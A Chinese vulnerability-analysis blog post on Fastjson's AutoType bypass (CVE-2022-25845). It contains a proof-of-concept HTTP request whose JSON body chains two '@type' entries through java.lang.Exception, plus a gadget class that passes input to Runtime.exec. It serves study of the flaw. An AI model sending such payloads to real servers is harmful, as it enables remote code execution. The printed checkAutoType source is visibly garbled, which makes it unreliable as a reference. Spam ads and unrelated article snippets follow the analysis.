当前位置: 首页 > news >正文

【漏洞分析】Fastjson最新版本RCE漏洞

01漏洞编号

CVE-2022-25845CNVD-2022-40233CNNVD-202206-1037

二、Fastjson知多少

万恶之源AutoType

Fastjson的主要功能是将Java Bean序列化为JSON字符串,这样得到的字符串就可以通过数据库等方式进行持久化了。

但是,Fastjson在序列化及反序列化的过程中,没有使用Java自带的序列化机制,而是自定义了一套机制。

对于JSON框架来说,想要把一个Java对象转换成字符串,有两种选择:

1、基于属性

2、基于Setter/Getter

在我们常用的JSON序列化框架中,Fastjson和Jackson将对象序列化成Json字符串时,是通过遍历该类中所有的Getter方法来进行的。而Gson不是这么做的,它是通过反射遍历该类中的所有属性,并把其值序列化为Json 。

假设我们有下面这个Java类:

class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) { 
this.fruit = fruit;
} 
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等 
}
//所有网络安全全套资料免费领取加w:anquan455领取~

当我们对它进行序列化时,Fastjson会扫描其中的Getter方法,即找到getName和getFruit,这时就会将Name和Fruit两个字段的值序列化到JSON字符串中。

那么问题来了,上面定义的Fruit只是一个接口,序列化的时候Fastjson能将属性值正确序列化出来吗?如果可以的话,反序列的时候,Fastjson会把这个Fruit反序列化成什么类型呢?

我们尝试基于Fastjson v1.2.68验证一下:

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

以上代码比较简单,我们创建了一个store,为它指定了名称,并创建了Fruit的子类型Apple,然后将store用JSON.toJSONString进行序列化,可以得到以下JSON内容:

toJSONString : {
"fruit":{
"price":0.5
}
,"name":"Hollis"
}

那么,Fruit的类型是什么呢,能否反序列化为Apple呢?我们再来执行以下代码:

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

执行结果如下:

toJSONString : {
"fruit":{
"price":0.5
}
,"name":"Hollis"
}
parseObject : Store{
name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

可以看到,在将store反序列化后,我们尝试将Fruit转换成Apple,但抛出了异常,如果直接转换成Fruit则不会报错,如下:

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);

从以上现象中我们得知,当一个类中包含了一个接口(或抽象类)的时候,使用Fastjson进行序列化,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。

如何解决这个问题呢?Fastjson引入了AutoType,在序列化时,把原始类型记录下来。使用方法是通过SerializerFeature.WriteClassName进行标记,即将上述代码中的:

String jsonString = JSON.toJSONString(store);

修改为:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

修改后的代码输出结果如下:

System.out.println("toJSONString : " + jsonString);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
}
,
"name":"Hollis"
}

可以看到,使用SerializerFeature.WriteClassName进行标记后,JSON符串中多出了一个@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。**

如上,将序列化后的字符串再反序列化,就可以顺利拿到Apple类型,整体输出内容如下:

toJSONString : {
"@type":"com.hollis.lab.fastjson.test.Store","fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5
}
,"name":"Hollis"
}
parseObject : Store{
name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}

这就是Fastjson中引入AutoType的原因,但是也正因为这个特性,因为功能设计之初在安全方面考虑不周,给后续的Fastjson使用者带来了无尽的痛苦。

checkAutoType

Fastjson为了实现反序列化引入了AutoType,造成:

1、Fastjson是基于内置黑名单来实现安全的,打开AutoType后可能造成安全风险,即绕过黑名单。

2、关闭AutoType后,是基于白名单进行防护的,此次解析的漏洞就是在未开启AutoType时产生的。

从v1.2.25版本开始,Fastjson默认关闭了AutoType支持,并且加入了checkAutoType,加入了黑白名单来防御AutoType开启的情况。

Fastjson绕过历史可以分为AutoType机制绕过和黑名单绕过,绝大部分情况都是寻找一个新的利用链来绕过黑名单,所以Fastjson官方的黑名单列表越来越大;但是更有意义的绕过显然是AutoType机制绕过,这样无需手动配置autoTypeSupport也可能进行利用。

我们先来看一下通过checkAutoType()校验的方式有哪些:

1、白名单里的类

2、开启了AutoType

3、使用了JSONType注解

4、指定了期望类(expectClass)

5、缓存在mapping中的类

6、使用ParserConfig.AutoTypeCheckHandler接口通过校验的类

三、攻击思路

**目标:**绕过AutoType机制

**手段:**通过checkAutoType()校验

**方法:**寻找使用checkAutoType()的函数,并使之通过checkAutoType()校验

通过研究v1.2.50和v1.2.68的绕过方式,主要是在ObjectDeserializer接口的子类JavaBeanDeserializer中存在expectClass非空的checkAutoType调用,这也是绕过的关键。顺着这个思路,我们继续在ObjectDeserializer接口的其他子类中寻找expectClass非空的checkAutoType调用,发现在子类ThrowableDeserializer的函数deserialze中也存在满足条件的调用。
1666582209_635606c1646616c63e76f.jpg

1.2.80版本的checkAutoType代码如下:

public Class<?> checkAutoType(Class type) {
if (get(type) != null) {
return type;
}
return checkAutoType(type.getName(), null, JSON.DEFAULT_PARSER_FEATURE);
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
return checkAutoType(typeName, expectClass, JSON.DEFAULT_PARSER_FEATURE);
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (autoTypeCheckHandlers != null) {
for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
Class<?> type = h.handler(typeName, expectClass, features);
if (type != null) {
return type;
}
}
}
final int safeModeMask = Feature.SafeMode.mask;
Boolean safeMode = this.safeMode
|| (features & safeModeMask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
throw new JSONException("safeMode not support autoType : " + typeName);
}
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
final Boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash == 0x90a25f5baa21529eL
|| expectHash == 0x2d10a5801b9d6136L
|| expectHash == 0xaf586a571e302c6bL
|| expectHash == 0xed007300a7b227c6L
|| expectHash == 0x295c4605fd1eaa95L
|| expectHash == 0x47ef269aadc650b4L
|| expectHash == 0x6439c4dff712ae8bL
|| expectHash == 0xe3dd9875a2dc5283L
|| expectHash == 0xe2a8ddba03e69e0dL
|| expectHash == 0xd734ceb4c3e9d1daL
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
String className = typeName.replace('$', '.');
Class<?> clazz;
final long h1 = (fnv1a_64_magic_hashcode ^ className.charAt(0)) * fnv1a_64_magic_prime;
if (h1 == 0xaf64164c86024f1aL) {
// [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * fnv1a_64_magic_prime == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((fnv1a_64_magic_hashcode ^ className.charAt(0))
* fnv1a_64_magic_prime)
^ className.charAt(1))
* fnv1a_64_magic_prime)
^ className.charAt(2)) 
* fnv1a_64_magic_prime;
long fullHash = TypeUtils.fnv1a_64(className);
Boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) = 0;
if (internalDenyHashCodes != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
throw new JSONException("autoType is not support. " + typeName);
clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& clazz != java.util.LinkedHashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz == null) {
return expectClass;
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
Boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
}
catch (Exception e) {
// skip
}
finally {
IOUtils.close(is);
}
final int mask = Feature.SupportAutoType.mask;
Boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (autoTypeSupport || jsonType || expectClassFlag) {
Boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);}}if (!autoTypeSupport) {throw new JSONException("autoType is not support. " + typeName);
}if (clazz != null) {
TypeUtils.addMapping(typeName, clazz);
}return clazz;
}

四、POC

按照上面思路构造POC如下:

POST /fastjson HTTP/1.1
Host: 172.31.1.101:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64;
x64;
rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,image/avif,image/webp,*
/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 117
{
"@type": "java.lang.Exception",
"@type": "com.example.springfastjson.model.poc20220523",
"name": "control"
}

代码中需要有如下的类:

package com.example.springfastjson.model;
import java.io.IOException;
public class poc20220523 extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
}
catch (IOException e) {
e.printStackTrace();
}
}
}

五、代码分析

通过一系列的字符检查之后,@type": "java.lang.Exception"步入到checkAutoType

image.png

经过checkAutoType函数检查。
image.png

尝试从缓存mapping中实例化clazz(TypeUtils.addBaseClassMappings已经将java.lang.Exception加入了mapping):
image.png
image.png

往下走getDeserializer返回的ObjectDeserializer为ThrowableDeserializer类型。
image.png
image.png

进入ThrowableDeserializer.deserialze,顺利到达checkAutoType 。
image.png

参数传到checkAutoType函数,且expectClass不为空,顺利绕过checkAutoType函数。

【一一帮助安全学习,点我一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部教程

image.png
image.png
image.png

相关文章:

【漏洞分析】Fastjson最新版本RCE漏洞

01漏洞编号 CVE-2022-25845CNVD-2022-40233CNNVD-202206-1037二、Fastjson知多少 万恶之源AutoType Fastjson的主要功能是将Java Bean序列化为JSON字符串&#xff0c;这样得到的字符串就可以通过数据库等方式进行持久化了。 但是&#xff0c;Fastjson在序列化及反序列化的过…...

【项目开发 | 跨域认证】JSON Web Token(JWT)

未经许可,不得转载。 文章目录 JWT设计背景:跨域认证JWT 原理JWT 结构JWT 使用方式注意JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,本文介绍它的原理、结构及用法。 JWT设计背景:跨域认证 互联网服务的用户认证流程是现代应用中的核心组成部分,通常的流程…...

杨中科 .Net Core 笔记 DI 依赖注入2

ServiceCollection services new ServiceCollection();//定义一个承放服务的集合 services.AddScoped<iGetRole, GetRole>();using (ServiceProvider serviceProvider services.BuildServiceProvider()) {var list serviceProvider.GetServices(typeof(iGetRole));//获…...

微信版产品目录如何制作?

微信作为我国最流行的社交媒体平台&#xff0c;拥有庞大的用户群体。许多企业都希望通过微信来推广自己的产品&#xff0c;提高品牌知名度。制作一份精美、实用的微信版产品目录&#xff0c;是企业微信营销的重要手段。微信版产品目录的制作方法&#xff0c;帮助您轻松入门。 ​…...

使用HTML、CSS和JavaScript创建动态圣诞树

✅作者简介&#xff1a;2022年博客新星 第八。热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 ✨特色专栏&#xff1a…...

机器学习-35-提取时间序列信号的特征

文章目录 1 特征提取方法1.1 特征提取过程1.2 两类特征提取方法2 基于数据驱动的方法2.1 领域特定特征提取2.2 基于频率的特征提取2.2.1 模拟信号2.2.2 傅里叶变换2.2.3 抽取最大幅值对应特征2.2.4 抽取峰值幅值对应特征2.3 基于统计的特征提取2.4 基于时间的特征提取3 参考附录…...

【软件测试】设计测试用例的万能公式

文章目录 概念设计测试用例的万能公式常规思考逆向思维发散性思维万能公式水杯测试弱网测试如何进行弱网测试 安装卸载测试 概念 什么是测试用例&#xff1f; 测试⽤例&#xff08;Test Case&#xff09;是为了实施测试⽽向被测试的系统提供的⼀组集合&#xff0c;这组集合包…...

【MySQL 保姆级教学】事务的自动提交和手动提交(重点)--上(13)

目录 1. 什么是事务&#xff1f;2. 事务的版本支持3. 事务提交的方式3.1 事务提交方式的分类3.2 演示的准备的工作3.2.1 创建表3.2.2 MySQL的服务端和客户端3.2.3 调低事务的隔离级别 4. 手动提交4.1 手动提交的命令说明4.2 示例一4.3 示例二4.4 示例三4.5 示例四 5. 自动提交5…...

CUDA 核心与科学计算 :NVIDIA 计算核心在计算服务器的价值

在现代科学计算领域&#xff0c;NVIDIA GPU 的计算能力是突破研究瓶颈的关键力量&#xff0c;而其中的 CUDA 核心与科学计算有着紧密的联系。 CUDA 核心于 2007 年开发&#xff0c;是一款基于单指令多线程 (SIMT) 模型的多功能通用核心。它在处理并行计算任务方面能力卓越&…...

架构师之路-学渣到学霸历程-58

Nginx的反向代理实验 今天分享的实验其实就是一个变形&#xff1b;变形uri看看nginx的配置有什么区别&#xff1b; 这个就更加绕&#xff0c;是比较不同的配置路径会有什么的区别&#xff1f; 来看看这个变形会得出什么的效果 1.首先配置后端服务器的资源 首页资源–>1…...

qq相册为啥越来越糊

电子存储衰退的原因 存储设备的失真通常和 存储介质的老化、数据退化、电荷泄漏 等问题有关。尤其是对闪存类存储&#xff08;如SSD、U盘&#xff09;来说&#xff0c;随着时间的推移&#xff0c;存储在其中的电荷可能会流失&#xff0c;导致数据损坏。而对于传统的机械硬盘&am…...

<有毒?!> 诺顿检测:这篇 CSDN 文章有病毒

NAS(qnap)中安装git服务(gogs)&#xff0c;硬件为TS-453Bmini&#xff0c;固件版本&#xff1a;QTS 5.1.2.2533_qnap git服务器-CSDN博客 https://estar.blog.csdn.net/article/details/134138932 威胁名称&#xff1a;JS:Downloader-GEG [Trj]威胁类型&#xff1a;特洛伊木马…...

matlab实现主成分分析方法图像压缩和传输重建

原创 风一样的航哥 航哥小站 2024年11月12日 15:23 江苏 为了研究图像的渐进式传输技术&#xff0c;前文提到过小波变换&#xff0c;但是发现小波变换非常适合传输缩略图&#xff0c;实现渐进式传输每次传输的数据量不一样&#xff0c;这是因为每次变换之后低频成分大约是上一…...

18.UE5怪物视野、AI感知、攻击范围、散弹技能

2-20 怪物视野、AI感知、攻击范围、散弹技能_哔哩哔哩_bilibili 目录 1.AI感知组件 2.AI感知更新的函数 3.攻击范围 4.散弹技能 4.1创建发射物i 4.2创建远程攻击方式 4.3散弹自定义事件的实现 4.4动画通知实现攻击 1.AI感知组件 为怪物蓝图添加AI感知组件&#xff0c…...

【 ElementUI 组件Steps 步骤条使用新手详细教程】

本文介绍如何使用 ElementUI 组件库中的步骤条组件完成分步表单设计。 效果图&#xff1a; 基础用法​ 简单的步骤条。 设置 active 属性&#xff0c;接受一个 Number&#xff0c;表明步骤的 index&#xff0c;从 0 开始。 需要定宽的步骤条时&#xff0c;设置 space 属性即…...

MQTT从入门到精通之 MQTT 客户端编程

MQTT 客户端编程 1 在VUE中使用MQTT 具体步骤如下所示&#xff1a; 1、初始化vue项目 // 创建一个使用vite构建的前端项目 npm create vitelatest// 进入到项目中&#xff0c;执行如下命令安装项目依赖 npm install 2、安装element plus // 安装element plus npm install …...

数据结构-集合

一.集合的表示 一个重要的操作是查某个元素属于哪个集合&#xff0c;另一个操作是合并操作 从这个树的节点去找树根也就是从下往上找,要把树并起来只需把两个根并在一起就可以了 不存在已知一个节点去找孩子节点&#xff0c;根重要的是已知一个节点找它的父亲节点,与之前的二…...

前端 JS面向对象 原型 prototype

目录 一、问题引出 二、prototype原型对象 三、小结 四、constructor 五、__proto__对象原型 六、原型链 一、问题引出 由于JS的构造函数存在内存浪费问题&#xff1a; function Star(name,age){this.namenamethis.ageagethis.singfunction () {console.log("唱歌&…...

Java中的不可变集合:性能与安全并重的最佳实践

Java中的不可变集合&#xff1a;性能与安全并重的最佳实践 在现代软件开发中&#xff0c;集合类&#xff08;如List、Set和Map&#xff09;是Java开发者的日常工具。它们用于存储和操作数据&#xff0c;能极大地简化开发工作。但随着并发编程和大规模应用的广泛使用&#xff0…...

RandomWords随机生成单词

from random_words import RandomWords rw RandomWords() r rw.random_word() print(r) 更多How to use — random_words documentation (randomwords.readthedocs.io) li LoremIpsum()# 这行代码创建了一个 LoremIpsum 类的实例。li.get_sentence()# 这个方法返回一个随机…...

JavaSec-RCE

简介 RCE(Remote Code Execution)&#xff0c;可以分为:命令注入(Command Injection)、代码注入(Code Injection) 代码注入 1.漏洞场景&#xff1a;Groovy代码注入 Groovy是一种基于JVM的动态语言&#xff0c;语法简洁&#xff0c;支持闭包、动态类型和Java互操作性&#xff0c…...

突破不可导策略的训练难题:零阶优化与强化学习的深度嵌合

强化学习&#xff08;Reinforcement Learning, RL&#xff09;是工业领域智能控制的重要方法。它的基本原理是将最优控制问题建模为马尔可夫决策过程&#xff0c;然后使用强化学习的Actor-Critic机制&#xff08;中文译作“知行互动”机制&#xff09;&#xff0c;逐步迭代求解…...

FastAPI 教程:从入门到实践

FastAPI 是一个现代、快速&#xff08;高性能&#xff09;的 Web 框架&#xff0c;用于构建 API&#xff0c;支持 Python 3.6。它基于标准 Python 类型提示&#xff0c;易于学习且功能强大。以下是一个完整的 FastAPI 入门教程&#xff0c;涵盖从环境搭建到创建并运行一个简单的…...

MMaDA: Multimodal Large Diffusion Language Models

CODE &#xff1a; https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA&#xff0c;它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构&#xf…...

智能在线客服平台:数字化时代企业连接用户的 AI 中枢

随着互联网技术的飞速发展&#xff0c;消费者期望能够随时随地与企业进行交流。在线客服平台作为连接企业与客户的重要桥梁&#xff0c;不仅优化了客户体验&#xff0c;还提升了企业的服务效率和市场竞争力。本文将探讨在线客服平台的重要性、技术进展、实际应用&#xff0c;并…...

DBAPI如何优雅的获取单条数据

API如何优雅的获取单条数据 案例一 对于查询类API&#xff0c;查询的是单条数据&#xff0c;比如根据主键ID查询用户信息&#xff0c;sql如下&#xff1a; select id, name, age from user where id #{id}API默认返回的数据格式是多条的&#xff0c;如下&#xff1a; {&qu…...

PL0语法,分析器实现!

简介 PL/0 是一种简单的编程语言,通常用于教学编译原理。它的语法结构清晰,功能包括常量定义、变量声明、过程(子程序)定义以及基本的控制结构(如条件语句和循环语句)。 PL/0 语法规范 PL/0 是一种教学用的小型编程语言,由 Niklaus Wirth 设计,用于展示编译原理的核…...

第 86 场周赛:矩阵中的幻方、钥匙和房间、将数组拆分成斐波那契序列、猜猜这个单词

Q1、[中等] 矩阵中的幻方 1、题目描述 3 x 3 的幻方是一个填充有 从 1 到 9 的不同数字的 3 x 3 矩阵&#xff0c;其中每行&#xff0c;每列以及两条对角线上的各数之和都相等。 给定一个由整数组成的row x col 的 grid&#xff0c;其中有多少个 3 3 的 “幻方” 子矩阵&am…...

Java线上CPU飙高问题排查全指南

一、引言 在Java应用的线上运行环境中&#xff0c;CPU飙高是一个常见且棘手的性能问题。当系统出现CPU飙高时&#xff0c;通常会导致应用响应缓慢&#xff0c;甚至服务不可用&#xff0c;严重影响用户体验和业务运行。因此&#xff0c;掌握一套科学有效的CPU飙高问题排查方法&…...

实战三:开发网页端界面完成黑白视频转为彩色视频

​一、需求描述 设计一个简单的视频上色应用&#xff0c;用户可以通过网页界面上传黑白视频&#xff0c;系统会自动将其转换为彩色视频。整个过程对用户来说非常简单直观&#xff0c;不需要了解技术细节。 效果图 ​二、实现思路 总体思路&#xff1a; 用户通过Gradio界面上…...